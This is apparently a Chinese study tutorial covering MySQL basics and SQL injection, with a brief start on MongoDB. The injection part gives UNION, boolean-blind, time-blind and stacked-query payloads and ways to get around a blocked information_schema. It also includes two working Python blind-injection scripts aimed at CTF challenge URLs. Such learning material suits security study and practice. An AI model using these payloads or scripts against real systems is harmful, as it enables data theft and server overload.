0x01sql注入前置

讲这个知识之前我们得先问自己三个问题

什么是数据库?

简单来说,数据库就是“数据”的“仓库”。数据库是一个组织化的数据集合,用于存储、管理和检索信息。它为存储数据提供了一种格式化的方式,并允许用户和应用程序有效地查询、更新和管理这些数据。数据库中包含表、关系以及操作对象,数据存储在表中。

什么是sql?

SQL是结构化查询语言,是一种用于与关系数据库进行交互的标准编程语言。它用于定义、操作和控制数据,以及管理数据库。SQL 是一种高度通用的语言,几乎所有的数据库管理系统(RDBMS)都支持SQL,包括MySQL、PostgreSQL、Microsoft SQL Server 和 Oracle 等。

sql里有四大最常见的操作,即增删查改

  • 增。增加数据。其简单结构为: INSERT table_name(columns_name) VALUES(new_values)
  • 删。删除数据。其简单结构为: DELETE table_name WHERE condition
  • 查。查找数据。其简单结构为:SELECT columns_name FROM table_name WHERE condition
  • 改。有修改/更新数据。简单结构为:UPDATE table_name SET column_name=new_value WHERE condition

什么是sql注入?

SQL注入:是发生于应用程序和数据库层的安全漏洞,简而言之,是在输入的字符串之中注入sql指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的sql指令而运行,因此遭到破坏或是入侵。这种漏洞可能导致数据泄露、数据篡改、身份冒充和其他严重的安全问题

0x02正文

mysql注入

什么是mysql?

MySQL 是一种开源的关系数据库管理系统(RDBMS),广泛用于存储和管理结构化数据。

我们在讲解mysql注入之前,首先先要搭建一下mysql数据库

Ubuntu中搭建Mysql服务

1
2
3
4
5
6
7
8
9
sudo su 进入root用户
sudo apt update 更新所有软件包
sudo apt install mysql-server 安装mysql
sudo systemctl start mysql 启动mysql服务
sudo systemctl restart mysql 重启mysql服务
sudo systemctl stop mysql 关闭mysql服务
sudo systemctl status mysql 查看mysql服务状态
mysql --version 查看版本信息
mysql -u root -p 登录连接数据库

连接数据库后会出现mysql的命令窗口

image-20250114132910152

我们先看一下初始的数据库情况是什么样的

1
SHOW DATABASES; 列出 MySQL 数据库管理系统的数据库列表。

image-20250114133224791

接下来我们创建数据库

1.创建数据库

1
2
3
CREATE DATABASE HELLOWORLD; 创建HELLOWORLD数据库
DROP DATABASE [database_name];直接删除数据库
DROP DATABASE IF EXISTS [database_name];先检查数据库是否存在在进行删除操作

image-20250114133322081

这里看到确实是有一个HELLOWORLD数据库,那我们对这个数据库进行操作

1
USE [database_name]; 指定要进行操作的数据库

image-20250114133510634

选择数据库后,你的后续 SQL 查询和操作在指定的数据库 HELLOWORLD 上执行

然后我们创建数据表

2.创建数据表

创建 MySQL 数据表需要以下信息:

  • 表名
  • 表字段名
  • 定义每个表字段的数据类型

语法

1
2
3
4
5
CREATE TABLE [table_name] (
column1 datatype,
column2 datatype,
...
);

参数说明:

  • table_name 是你要创建的表的名称。
  • column1, column2, … 是表中的列名。
  • datatype 是每个列的数据类型。

不过数据类型还没学,就返回来看了一下数据类型

mysql数据类型

内容摘录菜鸟教程:https://www.runoob.com/mysql/mysql-data-types.html

MySQL 支持多种类型,大致可以分为三类:数值、日期/时间和字符串(字符)类型

  • 数值类型

包括严格数值数据类型(INTEGER、SMALLINT、DECIMAL 和 NUMERIC),以及近似数值数据类型(FLOAT、REAL 和 DOUBLE PRECISION)。

TINYINT 1 Bytes (-128,127) (0,255) 小整数值
SMALLINT 2 Bytes (-32 768,32 767) (0,65 535) 大整数值
MEDIUMINT 3 Bytes (-8 388 608,8 388 607) (0,16 777 215) 大整数值
INT或INTEGER 4 Bytes (-2 147 483 648,2 147 483 647) (0,4 294 967 295) 大整数值
BIGINT 8 Bytes (-9,223,372,036,854,775,808,9 223 372 036 854 775 807) (0,18 446 744 073 709 551 615) 极大整数值
FLOAT 4 Bytes (-3.402 823 466 E+38,-1.175 494 351 E-38),0,(1.175 494 351 E-38,3.402 823 466 351 E+38) 0,(1.175 494 351 E-38,3.402 823 466 E+38) 单精度 浮点数值
DOUBLE 8 Bytes (-1.797 693 134 862 315 7 E+308,-2.225 073 858 507 201 4 E-308),0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308) 0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308) 双精度 浮点数值
DECIMAL 对DECIMAL(M,D) ,如果M>D,为M+2否则为D+2 依赖于M和D的值 依赖于M和D的值 小数值
  • 日期和时间类型

表示时间值的日期和时间类型为DATETIME、DATE、TIMESTAMP、TIME和YEAR

DATE 3 1000-01-01/9999-12-31 YYYY-MM-DD 日期值
TIME 3 ‘-838:59:59’/‘838:59:59’ HH:MM:SS 时间值或持续时间
YEAR 1 1901/2155 YYYY 年份值
DATETIME 8 ‘1000-01-01 00:00:00’ 到 ‘9999-12-31 23:59:59’ YYYY-MM-DD hh:mm:ss 混合日期和时间值
TIMESTAMP 4 ‘1970-01-01 00:00:01’ UTC 到 ‘2038-01-19 03:14:07’ UTC结束时间是第 2147483647 秒,北京时间 2038-1-19 11:14:07,格林尼治时间 2038年1月19日 凌晨 03:14:07 YYYY-MM-DD hh:mm:ss 混合日期和时间值,时间戳
  • 字符串类型
类型 大小 用途
CHAR 0-255 bytes 定长字符串
VARCHAR 0-65535 bytes 变长字符串
TINYBLOB 0-255 bytes 不超过 255 个字符的二进制字符串
TINYTEXT 0-255 bytes 短文本字符串
BLOB 0-65 535 bytes 二进制形式的长文本数据
TEXT 0-65 535 bytes 长文本数据
MEDIUMBLOB 0-16 777 215 bytes 二进制形式的中等长度文本数据
MEDIUMTEXT 0-16 777 215 bytes 中等长度文本数据
LONGBLOB 0-4 294 967 295 bytes 二进制形式的极大文本数据
LONGTEXT 0-4 294 967 295 bytes 极大文本数据

以上就是我们的数据类型了,那我们接下来创建一个数据表

1
CREATE TABLE users(id INT AUTO_INCREMENT PRIMARY KEY,username VARCHAR(50) NOT NULL,password VARCHAR(100) NOT NULL);

参数解释

  • CREATE TABLE 是用于创建新表的 SQL 语句。
  • users 是要创建的表的名称。
  • id 是表中的一个列名,用于唯一标识每个用户。
  • INT 表示该列的数据类型是整数。
  • AUTO_INCREMENT 表示该列会自动递增。每当插入一条新记录时,id 列会自动生成一个唯一的整数值,通常从 1 开始。
  • PRIMARY KEY 指定 id 列作为主键,确保每个用户的 id 是唯一的,且不能为 NULL。这意味着在 users 表中,每个用户都必须有一个唯一的 id 值。
    • username 是表中的另一个列名,用于存储用户的用户名。
    • VARCHAR(50)` 表示该列的数据类型为可变长度字符串,最大长度为 50 个字符。
    • NOT NULL 表示该列不能为空,必须提供一个值。换句话说,用户必须输入用户名。
    • password 是表中的第三个列名,用于存储用户的密码。
    • VARCHAR(100) 表示该列的数据类型也是可变长度字符串,最大长度为 100 个字符。
    • NOT NULL 同样表示该列不能为空,用户必须提供密码。

然后我们可以看到是成功创建了一个users数据表的

1
2
3
SHOW TABLES;显示指定数据库的所有表(使用前需要先指定数据库)
DROP TABLE [table_name]; 直接删除表
DROP TABLE IF EXISTS [table_name]; -- 会检查是否存在,如果存在则删除

image-20250114135354948

创建数据表后,接下来我们就是向数据表中插入我们的数据了,我们先查看一下我们的字段

3.插入数据

1
show columns from 表名 显示数据表的属性,属性类型,主键信息 ,是否为 NULL,默认值等其他信息。

image-20250114135829638

插入数据的话通常用INSERT INTO SQL语法:

1
2
INSERT INTO table_name (column1, column2, column3, ...)
VALUES (value1, value2, value3, ...);

参数说明:

  • table_name 是你要插入数据的表的名称。
  • column1, column2, column3, … 是表中的列名。
  • value1, value2, value3, … 是要插入的具体数值。

如果数据是字符型必须加上单引号或者双引号

那我们插入一个数据看看

1
INSERT INTO users(id,username,password)VALUES(1,'wanth3f1ag',1008611);

解释来说就是插入了一行数据,id为1,username为wanth3f1ag,password为1008611

如果你要插入所有列的数据,可以省略列名

如果你要插入多行数据,可以在 VALUES 子句中指定多组数值

注意: 使用箭头标记 -> 不是 SQL 语句的一部分,它仅仅表示一个新行,如果一条 SQL 语句太长,我们可以通过回车键来创建一个新行来编写 SQL 语句,SQL 语句的命令结束符为分号 **;**。

那既然插入了数据那我们就试着去查询一下数据

4.查询数据

mysql用SELECT语句来查询数据

语法

1
2
3
4
5
SELECT column1, column2, ...
FROM table_name
[WHERE condition]
[ORDER BY column_name [ASC | DESC]]
[LIMIT number];

参数说明:

  • column1, column2, … 是你想要选择的列的名称,如果使用 * 表示选择所有列。
  • table_name 是你要从中查询数据的表的名称。
  • WHERE condition 是一个可选的子句,用于指定过滤条件,只返回符合条件的行。
  • ORDER BY column_name [ASC | DESC] 是一个可选的子句,用于指定结果集的排序顺序,默认是升序(ASC)。
  • LIMIT number 是一个可选的子句,用于限制返回的行数。

例如我们查询所有列

1
SELECT * FROM users;

image-20250114141002391

也可以查询指定列

1
SELECT username,password FROM users;

image-20250114141222153

我们也可以添加where语句进行筛选符合条件的行

1
SELECT * FROM users WHERE id = 1 ;// 查询id为1对应的行

image-20250114141627826

我们还可以用LIMIT子语句限制返回的行数

1
SELECT * FROM users LIMIT 1;

image-20250114142146064

可以用ORDER BY 子语句去对指定列进行排列

1
SELECT * FROM users ORDER BY id;

默认是升序,DESC是降序

1
SELECT * FROM users ORDER BY id DESC;

但是SELECT语句是灵活的,我们可以根据实际需求去进行调整,这也是我们sql注入学习的前置,要对SELECT语句进行一定的了解才更有利于我们去进行sql注入的学习

然后我们现在来学习一下WHERE子语句的一些相关利用

WHERE子语句

WHERE condition 是用于指定过滤条件的子句。这些条件不仅限于我们的操作符(=,<,>,!=,<=,>=),还可以用AND,OR组合条件,模糊匹配(LIKE)等条件去匹配更精准的结果。

如果给定的条件在表中没有任何匹配的记录,那么查询不会返回任何数据。

前面讲过数据库的基本操作是增删查改,那我们前面讲了如何增和删,那我们现在来讲一下怎么改,这时候就可以用到UPDATE命令了

UPDATE更新

如果我们需要修改或更新 MySQL 中的数据,我们可以使用 UPDATE 命令来操作。

语句

1
2
3
UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;

参数说明:

  • table_name 是你要更新数据的表的名称。
  • column1, column2, … 是你要更新的列的名称。
  • value1, value2, … 是新的值,用于替换旧的值。
  • WHERE condition 是一个可选的子句,用于指定更新的行。如果省略 WHERE 子句,将更新表中的所有行。

当然,我们可以同时更新很多个字段,也可以在一个表中同时更新数据,当我们需要更新数据表中指定行的数据时 WHERE 子句是非常有用的。

当然我们用表达式去更新数据的value也是可以的

我们试一下

1.更新单个列

1
UPDATE users SET username='wanth3f1ag' WHERE id=2;

image-20250114150949230

2.更新多个列

1
UPDATE users SET username='wanth3f1ag',password=123456 WHERE id=2;

image-20250114151039437

3.使用表达式

1
UPDATE users SET username='wanth3f1ag',password=123*2 WHERE id=2;

image-20250114151134430

4.更新所有行

1
UPDATE users SET password=123456;

image-20250114151247436

5.更新嵌套查询

1
UPDATE users SET passwrod =(子查询语句) where子语句;

讲完了改的部分,我们来讲一下mysql中的删

DELETE删除

可以使用 DELETE FROM 命令来删除 MySQL 数据表中的记录

语法

1
2
DELETE FROM table_name
WHERE condition;

参数说明:

  • table_name 是你要删除数据的表的名称。
  • WHERE condition 是一个可选的子句,用于指定删除的行。如果省略 WHERE 子句,将删除表中的所有行。

和update一样,可以用WHERE子语句去设置条件精准指定目标

MYSQL注入姿势

前期准备

我们正常的sql查询语句是

字符型

1
select * from <表名> where id =’$_GET[id]‘;

数字型

1
select * from <表名> where id =$_GET[id];

1.判断是否存在SQL注入

单引号判断法,即在参数后面加上单引号(无论字符型还是整型都会因为单引号个数不匹配而报错)

2.判断注入方式

数字型判断:

用最经典的and 1=1和and 1=2进行判断

假设某个注入的注入类型是数字型,那么

1
2
3
?id=1 and 1=1页面运行正常

?id=1 and 1=2页面运行错误

为什么呢?

在a and b运算中,当使用 AND 运算符时,只有当所有条件都为真时,整个条件才被视为真。

解释:当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1,语法正确且逻辑判断为正确,所以返回正常。

当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2,语法正确但逻辑判断为假,所以返回错误。

假设这里是字符型判断的话,我们输入的语句就会有以下的执行情况:

当输入1 and 1=1,1 and 1=2时,后台执行 Sql 语句:

1
2
3
select * from <表名> where id = ‘x and 1=1’

select * from <表名> where id = ‘x and 1=2’

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

字符型判断:

也是用最经典的 and ‘1’=’1 和 and ‘1’=’2来判断

假设某个注入的注入类型是字符型

1
2
3
?id=1’ and ‘1’ = '1,页面运行正常

?id=1’ and ‘1’ = '2,页面运行错误

解释:当输入 and ‘1’=’1时,后台执行 Sql 语句:select * from <表名> where id = ‘x’ and ‘1’=’1’语法正确,逻辑判断正确,所以返回正确。

当输入 and ‘1’=’2时,后台执行 Sql 语句:select * from <表名> where id = ‘x’ and ‘1’=’2’语法正确,但逻辑判断错误,所以返回异常。

3.判断字段数

1
1' order by x#

通过页面是否正常回显可以来判断字段数,这样在union联合注入中更方便我们对列数的个数确定然后进行注入

1.UNION联合注入

联合注入即union注入,其作用就是,在原来查询条件的基础上,通过系统关键字union从而拼接上我们自己的select语句,然后把后面select得到的结果将拼接到前面select的结果后边。如:前个select得到2条数据,后个select也得到2条数据,那么后个select的数据将拼接到第一个select返回的内容中。

联合注入有它的利用条件,UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条 SELECT 语句中的列的顺序必须相同,也就是说只能:

1
select 1,2,3 from table_name1 union select 4,5,6 from table_name2;

这也是为什么我们在联合注入之前往往需要先利用 order/group by n 判断字段的数量。

注入步骤(假设有3列)

  • 查询数据库名

-1’ union select 1,2,database()–+

  • 查询表名

-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = database())–+

  • 查询表中列名

-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name = ‘表名’)–+

  • 查询列中数据

-1’ union select 1,2,列名 from 数据库名.表名–+

MySQL >= 5.0的情况下就是我们常规的union联合注入了,MySQL < 5.0没有information_schema,联合注入打不通

2.布尔盲注

进行布尔盲注的条件是页面会有回显作为语句执行是否成功的标志,一般我们可以先用永真条件or 1=1与永假条件and 1=2的返回内容是否存在差异进行判断是否可以进行布尔盲注

什么情况下考虑使用布尔盲注?

  • 该输入框存在注入点。

  • 该页面或请求不会回显注入语句执行结果,故无法使用UNION注入。

  • 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息,故无法使用报错注入。

基本函数

  • ascii()函数:ASCII() 函数用于返回字符串中第一个字符的 ASCII 值。如果字符串为空,返回值为 0。

替换函数:

ord()函数:ORD() 函数返回字符串第一个字符的ASCII 值,如果该字符是一个多字节(即一个或多个字节的序列),则MySQL函数将返回最左边字符的代码。

  • substr()函数:SUBSTR()函数(在某些数据库中也称为 SUBSTRING())用于从一个字符串中提取子字符串。

替换函数:

​ left(str,index)从左边第index开始截取

​ right(str,index)从右边第index开始截取

​ substring(str,index)从左边index开始截取

​ mid(str,index,len)截取str从index开始,截取len的长度

​ lpad(str,len,padstr)

​ rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果

手工注入:

1. 判断是否存在注入以及注入类型

2. 构造sql语句,利用length()函数得到数据库长度:1 and(length(database()))>x根据回显是否正常来判断数据库长度

3. 猜测数据库名字,利用ascii()函数和substr()函数依次得到数据库的名字,例如:1 and (ascii(substr(database(),y,1)))>x,根据每个字母的ascii值找出数据库的第y个字母

**4. 判断表的数量,例如:**1 and (select count(table_name) from information_schema.tables where table_schema=database())>x来判断表的数量

**5. 猜测表名:**1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1))>x 来猜测第x张表的第y个字母

**6. 猜测字段数量:**1 and (select count(column_name) from information_schema.columns where table_name=’表名’)=1

**7. 猜测数据内容:**1 and ascii(substr((select * from 数据库.表名 where id=1),1,1))>x

手工盲注比较繁琐,一般都会用脚本去注入或者用工具sqlmap

布尔盲注的脚本我贴一个最基础的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import requests
#GET请求的布尔盲注
#爆破数据库的长度
def brute_force_database_length(url, headers):
databaselen = 0
for l in range(1,50):
databaselen_payload = f"?id=1' and length(database())={l}--+"
response = requests.get(url + databaselen_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
databaselen = l
break
print('数据库名字长度为: '+ str(databaselen))
return databaselen

#爆破数据库的名字
def brute_force_database_name(url, headers, databaselen):
databasename = ''
for l in range(1,databaselen+1):#用来爆破数据库的字符
for i in range(32,128):
databasechar_payload = f"?id=1' and ascii(substr(database(),{l},1))='{i}'--+"
response = requests.get(url + databasechar_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
databasename += chr(i)
print(databasename)
break
print('数据库名字为: '+ str(databasename))
return databasename
#爆破表的个数
def brute_force_table_count(url, headers, databasename):
tablecount = 0
for l in range(1,50):#用来爆破表的个数
tablecount_payload = f"?id=1' and (select count(table_name) from information_schema.tables where table_schema='{databasename}') ={l}--+"
response = requests.get(url + tablecount_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
tablecount = l
break
print(f'表的个数为: {tablecount}')
return tablecount
#爆破表的名字
def brute_force_table_name(url, headers, tablecount,databasename):
tables=[]
for t in range(0,tablecount):
table_name = ''
tablelen = 0
for l in range(1, 50):
tablelen_payload = f"?id=1' and length((select table_name from information_schema.tables where table_schema = '{databasename}' limit {t+0}, 1))={l}--+"
response = requests.get(url + tablelen_payload, headers=headers)
if 'admin'in response.text:
tablelen = l
break
print(f'表{t+1}的长度为: {tablelen}')
for m in range(1, tablelen+1):
for i in range(32, 128):
table_name_payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = '{databasename}' limit {t+0}, 1),{m},1))='{i}'--+"
response = requests.get(url + table_name_payload, headers=headers)
if 'admin'in response.text:
table_name += chr(i)
print(table_name)
break
print(f'表{t+1}的名字为: {table_name}')
tables.append(table_name)
return tables
'''
#爆破字段的个数
def brute_force_column_count(url, headers, tables):
column_count = 0
for l in range(1, 50):
column_countpayload = f"?id=1' and (select count(column_name) from information_schema.columns where table_name='{tables}')={l}--+"
response = requests.get(url + column_countpayload, headers=headers)
if 'admin'in response.text:
column_count = l
break
print(f'表 {tables} 有 {column_count} 字段.')
return column_count

#查询表中字段
def brute_force_column_name(url, headers,tables, column_count):
columns = []
for c in range(column_count):
column_name = ''
for l in range(1, 50):
column_count_payload = f"?id=1' and length((SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{tables}' LIMIT {c},1))={l}--+"
response = requests.get(url + column_count_payload, headers=headers)
if 'admin'in response.text:
column_count = l
print(f'表 {tables} 中字段 {c+1} 的个数为: {column_count}')
for m in range(1, column_count+1):
for i in range(32, 128):
column_name_payload = f"?id=1' and ascii(SUBSTR((SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{tables}' LIMIT {c},1),{m},1))='{i}'--+"
response = requests.get(url + column_name_payload, headers=headers)
if 'admin'in response.text:
column_name += chr(i)
print(column_name)
break
print(f'表 {tables} 中字段 {c+1} 的名字为: {column_name}')
columns.append(column_name)
return columns
'''
#查询表中数据
def brute_force_table_data(url, headers,tables):
data = ''
for c in range(0,100):#用来爆破表中的数据
for i in range(32,128):
data_payload = f"?id=1' and ascii(substr((select password from {tables} where username='flag'),{c+0},1))='{i}'--+"
response = requests.get(url + data_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
data += chr(i)
print(data)
break
print('flag为: '+ str(data))
return data
if __name__ == "__main__":
url = 'http://598dad09-8ca9-4769-9d38-8f62ee4186c7.challenge.ctf.show/api/v4.php'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36'
}
databaselen = brute_force_database_length(url, headers)
databasename = brute_force_database_name(url, headers, databaselen)
tablecount = brute_force_table_count(url, headers, databasename)
tables = brute_force_table_name(url, headers, tablecount, databasename)
for table in tables:
#column_count = brute_force_column_count(url, headers, table)
#columns = brute_force_column_name(url, headers,table, column_count)
data = brute_force_table_data(url, headers,table)

3.时间盲注

界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

时间盲注与布尔盲注类似。时间型盲注就是利用时间函数的延迟特性来判断注入语句是否执行成功。

什么情况下考虑使用时间盲注?

1. 无法确定参数的传入类型。整型,加单引号,加双引号返回结果都一样
1. 不会回显注入语句执行结果,故无法使用UNION注入
1. 不会显示报错信息,故无法使用报错注入
1. 符合盲注的特征,但不属于布尔型盲注

常用函数

sleep(n):将程序挂起一段时间, n为n秒。

if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句。

使用sleep()函数和if()函数:and (if(ascii(substr(database(),1,1))>100,sleep(10),null)) # 如果返回正确则 页面会停顿10秒,返回错误则会立马返回。只有指定条件的记录存在时才会停止指定的秒数。

手工注入:

1. 利用sleep()函数和if()函数判断数据库长度:1 and if(length(database())=x,sleep(y),1)–页面y秒后才回应,说明数据库名称长度为x

**2. 猜测数据库名称:例如:**1 and if(ascii(substr(database(),1,1))=115,sleep(3),1) adcii(s)=115

**3. 猜测表中数:**1 and if((select count(table_name) from information_schema.tables where table_schema=database())=x,sleep(y),1) 页面y秒后反应,说明有x张表

**4. 猜测表:**1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110,sleep(3),1) ascii(n)=110

**5. 猜测字段数:**1 and if((select count(column_name) from information_schema.columns where table_name=’flag’)=1,sleep(3),1) 3秒后响应,只有一个字段

**6. 猜测字段名:**1 and if(ascii(substr((select column_name from information_schema.columns where table_name=’表名’),1,1))=102,sleep(3),1)

时间盲注sleep被ban怎么办

benchmark()函数的作用是重复执行某表达式,如benchmark(10000000,md5(‘yu22x’));
会计算10000000次md5(‘yu22x’),因为次数很多所以就会产生延时,但这种方法对服务器会对产生很大的负荷,容易把服务器跑崩,如果崩掉的话就把time.sleep的值改大点,除了md5还可以使用其他函数,比如:

1
2
benchmark(1000000,encode("hello","good"));
benchmark(1e7,sha1('kradress'));

手工盲注特别繁琐,碰到这类题目要会用脚本或工具sqlmap

贴个时间盲注的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import datetime
import time
def brute_force_table_data(url):
data = ''
for c in range(0,100):#用来爆破表中的数据
for i in range(32,128):
payload = f"?id=1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),{c+0},1))='{i}',sleep(5),0)--+"
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 5:#超时时间为5秒
data += chr(i)
print(data)
break
print('flag为: '+ str(data))
return data
if __name__ == "__main__":
url = 'http://4a879471-5db2-4202-876f-d5c67c22bc4f.challenge.ctf.show/api/v5.php'
flag = brute_force_table_data(url)

4.堆叠注入

堆叠注入就是 通过添加一个新的查询或者终止查询( ; ),可以达到 修改数据 和 调用存储过程 的目的

分号;为MYSQL语句的结束符,若在支持多语句执行的情况下,可利用此方法执行其他恶意语句。比如有函数mysqli_multi_query(),它支持执行一个或多个针对数据库的查询,查询语句使用分号隔开。如果正常的语句是:

1
select 1;

若支持堆叠注入,我们就可以在后面添加自己的语句执行命令,如:

1
select 1;show tables%23

但通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返回前端页面,可考虑使用RENAME关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名

1.Bypass information_schema

当mysql被waf禁掉information_schema库后的绕过思路

我们先了解一下什么是information_schema库,这个库里面有什么?

image-20250115233431427

可以看到这个库中的表很多啊,我们只挑平时比较常见的去进行讲解

information_schema库中的表

TABLES

  • 内容:包含所有数据库中的表的相关信息。
  • 主要字段
    • TABLE_SCHEMA:数据库名
    • TABLE_NAME:表名
    • TABLE_TYPE:表的类型(例如,BASE TABLE 或 VIEW)
    • ENGINE:表使用的存储引擎
    • VERSION:表的版本号
    • ROW_FORMAT:行格式(例如,COMPACT)

COLUMNS

  • 内容:包含有关数据库中所有列的信息。
  • 主要字段
    • TABLE_SCHEMA:数据库名
    • TABLE_NAME:表名
    • COLUMN_NAME:列名
    • ORDINAL_POSITION:列的位置
    • COLUMN_DEFAULT:列的默认值
    • IS_NULLABLE:列是否可以为 NULL
    • DATA_TYPE:列的数据类型

SCHEMATA

  • 内容:包含所有数据库(模式)的信息。
  • 主要字段
    • CATALOG_NAME:目录名
    • SCHEMA_NAME:数据库名
    • DEFAULT_CHARACTER_SET_NAME:默认字符集
    • DEFAULT_COLLATION_NAME:默认排序规则
    • SQL_PATH:SQL 路径

先放这三个,后面学到新的之后再回来补充,接下来我们讲另一个知识点

InnoDb引擎

mysql 5.5.8之后开始使用InnoDb作为默认引擎,mysql 5.6的InnoDb增加了innodb_index_statsinnodb_table_stats两张表,这两张表就是我们bypass information_schema的第一步,也是获取数据库名和表名的另一种思路

这两张表记录了数据库和表的信息,但是没有列名,sql语句就是

1
2
select group_concat(database_name) from mysql.innodb_index_stats;
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()

另外还有一个就是sys库

sys库

sys 库是一个提供系统信息和数据库监控的虚拟数据库。它是一个更高级别的视图,旨在简化对 MySQL 服务器性能和配置的查询。sys 库中的表和视图主要用于提供有关服务器状态、性能和其他实用信息的便利视图。

sys库通过视图的形式把information_schema和performance_schema结合起来,查询令人容易理解的数据。

  • sys.schema_table_statistics

1
2
3
4
5
6
# 查询数据库
select table_schema from sys.schema_table_statistics_with_buffer;
select table_schema from sys.x$schema_table_statistics_with_buffer;
# 查询指定数据库的表
select table_name from sys.schema_table_statistics_with_buffer where table_schema=database();
select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=database();

另外还有一种摘录到的

  • sys.schema_auto_increment_columns

1
2
3
4
#查询数据库名
select table_schema from sys.schema_auto_increment_columns
#查询表名
select table_name from sys.schema_auto_increment_columns where table_schema=databse()

同样的,这个sys库也是能用来查找表名和数据库名的

nosql注入

什么是nosql?

NoSQL 即 Not Only SQL,意即 “不仅仅是SQL”。他指的不是单单某一种数据库管理系统,而是用于描述一类数据库管理系统,包括键值数据库,列式数据库,文本数据库,图形数据库等。这些系统会使用不同于传统关系型数据库的数据存储模型。NoSQL数据库提供比传统SQL数据库更宽松的一致性限制。 通过减少关系约束和一致性检查,NoSQL数据库提供了更好的性能和扩展性。 然而,即使这些数据库没有使用传统的SQL语法,它们仍然可能很容易的受到注入攻击。 由于这些NoSQL注入攻击可以在程序语言中执行,而不是在声明式 SQL语言中执行,所以潜在影响要大于传统SQL注入。

而MongoDB 是当前最流行的 NoSQL 数据库产品之一,由 C++ 语言编写,是一个基于分布式文件存储的数据库。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。

接下来我们就以MongDB为例,去讲解这个nosql注入

MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。

关于MongDB基础使用

RDBMS MongoDB
数据库 数据库
表格 集合
文档
字段
表联合 嵌入文档
主键 主键(MongoDB 提供了 key 为 _id)
  • 数据库(database)

一个 MongoDB 中可以建立多个数据库。MongoDB 的单个实例可以容纳多个独立的数据库,每一个都有自己的集合和权限,不同的数据库也放置在不同的文件中。

1
2
show dbs显示所有的数据库的列表
db 显示当前数据库对象或集合
  • 集合(collection)

集合就是 MongoDB 文档组,类似于 RDBMS 关系数据库管理系统中的表格。集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据。

show collectionsshow tables 命令可以查看已有集合

  • 文档(Document)

文档是一组键值(key-value)对,类似于 RDBMS 关系型数据库中的一行。MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,这与关系型数据库有很大的区别,也是 MongoDB 非常突出的特点。

nosql基础语法

  • 创建数据库
1
use DATABASE_NAME#如果数据库不存在,则创建数据库,否则切连接并换到指定数据库

举个例子

1
2
3
4
5
> use db1
switched to db db1
> db
db1
>
  • 创建集合

使用 createCollection() 方法来创建集合

基础语法

1
db.createCollection(name, options)
  • name:要创建的集合名称
  • options:可选参数,指定有关内存大小及索引的选项

举个例子,我们在数据库中创建一个集合

1
2
3
4
5
> use db1
switched to db db1
> db.createCollection("user1")
{ "ok" : 1 }
>
  • 插入文档

使用 insert() 方法向集合中插入文档

基础语法

1
db.COLLECTION_NAME.insert(document)

举个例子,我们在数据库的集合中插入一个文档

1
2
3
4
5
6
> db.user1.insert({name: 'whoami', 
description: 'the admin user',
age: 19,
status: 'A',
groups: ['admins', 'users']
})
  • 更新文档

使用 update()save() 方法来更新集合中的文档

  • update() 方法

update() 方法用于更新已存在的文档。

基础语法

1
2
3
4
5
6
7
8
9
db.collection.update(
<query>,
<update>,
{
upsert: <boolean>,
multi: <boolean>,
writeConcern: <document>
}
)
  • query:update 操作的查询条件,类似 sql update 语句中 where 子句后面的内容。
  • update:update 操作的对象和一些更新的操作符(如 $set)等,可以理解为 sql update 语句中 set 关键字后面的内容。
  • multi:可选,默认是 false,只更新找到的第一条记录,如果这个参数为 true,就把按条件查出来多条记录全部更新。

那我们用这个方法将age年龄从19更新到20

mssql注入

